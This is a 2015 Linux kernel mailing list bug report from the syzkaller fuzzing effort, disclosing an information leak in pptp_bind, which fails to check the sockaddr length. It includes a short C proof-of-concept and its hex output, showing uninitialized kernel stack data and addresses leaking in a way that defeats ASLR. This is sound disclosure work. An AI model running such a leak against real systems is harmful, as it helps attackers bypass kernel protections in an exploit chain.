Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S932288AbbLNKiu (ORCPT ); Mon, 14 Dec 2015 05:38:50 -0500 Received: from mail-oi0-f49.google.com ([209.85.218.49]:33981 "EHLO mail-oi0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S932140AbbLNKis (ORCPT ); Mon, 14 Dec 2015 05:38:48 -0500 MIME-Version: 1.0 From: Dmitry Vyukov Date: Mon, 14 Dec 2015 11:38:28 +0100 Message-ID: Subject: Information leak in pptp_bind To: Dmitry Kozlov , netdev@vger.kernel.org, LKML Cc: syzkaller@googlegroups.com, Kostya Serebryany , Alexander Potapenko , Dmitry Vyukov , edumazet@google.com, Sasha Levin , keescook@google.com, jln@google.com Content-Type: text/plain; charset=UTF-8 Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 1600 Lines: 50 Hello, The following program leak various uninit garbage including kernel addresses and whatever is on kernel stack, in particular defeating ASLR. The issue is in pptp_bind which does not verify sockaddr_len #include #include #include #include #include #include #include #include #include #include #include int main(void) { struct sockaddr sa; unsigned len, i, try; int fd; for (try = 0; try < 5; try++) { fd = socket(AF_PPPOX, SOCK_RAW, PX_PROTO_PPTP); if (fd == -1) return; memset(&sa, 0, sizeof(sa)); bind(fd, &sa, 0); len = sizeof(sa); getsockname(fd, &sa, &len); for (i = 0; i < len; i++) printf("%02x", ((unsigned char*)&sa)[i]); printf("\n"); } return 0; } # ./a.out 1800020000004700c012833d00880000b002400000000000005eddc66d2b 1800020000004800408bf13a00880000b002400000000000005eddc66d2b 180002000000490080a5f13a00880000b002400000000000005eddc66d2b 1800020000004a00008ff13a00880000b002400000000000005eddc66d2b 1800020000004b008096f13a00880000b002400000000000005eddc66d2b -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/